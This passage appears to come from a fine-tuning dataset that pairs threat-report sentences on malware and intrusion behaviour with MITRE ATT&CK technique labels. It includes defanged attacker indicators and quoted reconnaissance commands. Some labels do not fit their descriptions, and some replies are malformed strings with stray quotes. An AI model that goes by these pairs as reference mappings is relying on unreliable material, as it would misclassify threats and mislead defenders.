                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SPACESHIP copies staged data to removable drives when they are inserted into the system."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proxysvc lists processes running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can collect then exfiltrate files from the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet is one of the most widely distributed and actively developed malware families on the crimeware landscape today. Emotet began purely as a banking trojan, but over the years, has continued to evolve and more recently, has been associated with some larger-scale targeted Ryuk ransomware infections. Emotet is commonly delivered via both macro-laden office documents, as well as URL-based spam messages that lead to an eventual infection. It's not uncommon to see Emotet reuse of some of the command and control (C2) servers over more extended periods. The goal of Emotet, as is the case with crimeware-based threats, is monetary. Attackers use Emotet to deliver modular payloads it can use to monetize infections"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging Existing Windows Services to Deliver Malware Windows Management Instrumentation Console (WMIC) provides a command line interface to WMI"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When loaded with startup command 2, the installer can copy the original explorer.exe file inside its current running directory and rename d3d9.dll to uxtheme.dll. In this case the persistence is achieved by loading the original explorer.exe from its startup location and, using DLL side-loading, passing the execution control to the stage 4 malware (discussed in next section"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has utilized multiple commands to identify data of interest in file and directory listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor in this case hosted the MSI file on GitHub using a spoofed file extension to look like a PDF"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One variant of  creates a new service using either a hard-coded or randomly generated name."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  payload is stored in a hidden directory at /Users/Shared/.local/kextd."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Shamoon obtains the target's IP address and local network segment."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can read and decrypt stored Registry values."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can disarm Windows Defender during the UAC process to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor has a plugin that enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can use TCP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITSAdmin is a command-line tool that you can use to create download or upload jobs and monitor their progress. For full, comprehensive documentation of the tool and all of its commands, see bitsadmin and bitsadmin examples in the Windows IT Pro Center"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire has the ability to gather browser data such as bookmarks and visited sites."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can download and execute a replica of itself using certutil."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used the service control manager on a remote system to disable services associated with security monitoring products."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used `ipconfig`, `nbtstat`, `tracert`, `route print`, and `cat /etc/hosts` commands."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL is installed via execution of rundll32 with an export named \"init\" or \"InitW.\""
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loader’s main goal was to run a PowerShell command to execute shellcode"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Psylo has commands to enumerate all storage devices and to find all files that start with a particular string."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowGoop can use a modified Base64 encoding mechanism to send data to and from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can capture keystrokes on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscated scripts that were used on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TAINTEDSCRIBE can delete files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke has been packed with the UPX packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel can exfiltrate credentials and other information via HTTP POST request, TCP, and DNS."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows sets its DLL file as a new service in the Registry to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShellTea utilizes a number of techniques to identify if it is running within a virtual environment or is being monitored."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors used a legitimate Windows executable and secure directory for their payloads to bypass UAC."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files from remote servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used legitimate local admin account credentials."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has decoded and decrypted the configuration file when executed."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FoggyWeb can be disguised as a Visual Studio file such as `Windows.Data.TimeZones.zh-PH.pri` to evade detection. Also, FoggyWeb's loader can mimic a genuine `dll` file that carries out the same import functions as the legitimate Windows `version.dll` file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can capture the victim's screen."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 establishes persistence via the \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon used privately developed and customized remote access tools."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used an HTTP malware variant and a Port 22 malware variant to collect the victim’s username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can use \"net view\" to discover remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along with the change to using a DLL, Qbot also changed where it stores configuration information on the infected host. Earlier versions of Qbot stored this data within a DAT file in the same randomly named folder as the malicious binary. As of late 2020, this data is now stored in the registry, under a randomly named subkey under HKCU\\Software\\Microsoft. While this move to the registry keeps things a bit more hidden from prying eyes, in both cases the presence of a randomly named value under the Microsoft folder/key should be cause to investigate"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has use `mshta` to execute malicious scripts on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "browser history from Firefox, Google Chrome, Microsoft Edge and Internet Explorer; - usernames and passwords stored in the listed browsers; - email accounts from Microsoft Outlook and Mozilla Thunderbird"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbanak searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BISCUIT has a command to launch a command shell on the system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains modules that allow for use of proxies in command and control."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has hosted custom and open-source tools on compromised as well as Lazarus Group-controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In March 2016, a financially motivated threat actor launched several tailored spear phishing campaigns primarily targeting the retail, restaurant, and hospitality industries. The emails contained variations of Microsoft Word documents with embedded macros that, when enabled, downloaded and executed a malicious downloader that we refer to as PUNCHBUGGY"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends an e-mail with a malicious Tar archive attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Config.json\" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. Lowerv2.sh\" and \"rootv2.sh\" are similar shell scripts that attempt to download and execute the mining malware components \"bashf\" and \"bashg,\" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called \"XbashY\" from 3g2upl4pq6kufc4m[.]tk. R88.sh\" is a shell script that installs a cron job and attempts to download \"lowerv2.sh\" or \"rootv2.sh. Based on the config file it uses, it appears to be the Monero Silent Miner. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into \"Windows processes to bypass firewalls. The sample grabs the config file \"xmr.txt,\" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system. Both Iron and Rocke's malware behave similarly, and reach out to similar infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has disguised services to appear as benign software or related to operating system functions."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can register itself as a system service to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor.Oldrea collects the current username from the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockerGoga has been observed shutting down infected systems."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRatReporter used LZ compression to compress initial reconnaissance reports before sending to the C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raspberry Robin leverages rundll32.exe followed by shell32.dll and calls the ShellExec_RunDLL or ShellExec_RunDLLA functions to execute the DLL via the processes such as odbcconf.exe, msiexec.exe and control.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - Signed Binary Proxy Execution: Odbcconf', 'T1218.007 - Signed Binary Proxy Execution: Msiexec', 'T1218.002 - Signed Binary Proxy Execution: Control Panel', 'T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  tool can use WMI to execute a binary."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Caterpillar WebShell has a module to perform brute force attacks on a system."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, the command: system_profiler SPHardwareDataType 2&gt;/dev/null || awk ‘/Boot ROM Version/ {split($0, line, “:”);printf(“%s”, line[2]);} checks if the machine is one of the following: “MBP”, “MBA”, “MB”, “MM”, “IM”, “MP” and “XS”. These codes represent the model of the system. For instance, “MBP” stands for MacBook Pro, “MBA” stands for MacBook Air and so on"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some strings in are obfuscated with XOR x56."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX can modify the characteristics of folders to hide them from the compromised user."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AgentTesla is a .Net-based infostealer that has the capability to steal data from different applications on victim machines, such as browsers, FTP clients, and file downloaders. One of the new modules that has been added to this malware is the capability to steal WiFi profiles"
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3 Password handover form displayed after credential theft The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos can add itself to the Registry key \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies files matching certain file extension and copies them to subdirectories it created."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One unique and fairly recent variant is a plain downloader that follows a similar convention to the aforementioned MarkiRAT implants. It also leverages MFC and embeds its logic within a CDialog class, getting executed upon initiation of an MFC dialog object during runtime. The use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can enumerate the OS version and domain on a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deleted File created by vmtoolsd.exe and executed by vmtoolsd.exe child process."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
